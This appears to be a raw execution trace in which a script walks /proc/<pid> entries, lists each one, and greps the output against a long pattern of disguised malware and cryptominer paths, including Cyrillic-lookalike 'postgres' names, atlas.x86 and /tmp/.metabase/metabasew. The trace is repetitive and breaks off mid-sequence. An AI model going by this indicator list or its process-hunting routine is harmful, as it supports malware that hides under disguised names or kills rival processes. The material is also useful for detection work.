[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1169]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1171]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1173]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1174]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1175]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1181]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1183]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/12]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1214]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1234]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1237]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1239]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1257]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1275]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1278]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1286]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1293]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/13]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1311]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1312]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1329]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1335]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1366]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/137]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/14]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1463]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1480]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1490]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1491]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1492]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1494]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/15]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1505]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/16]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/160]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/161]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/162]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/163]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/164]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/165]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/166]

/bin/grep

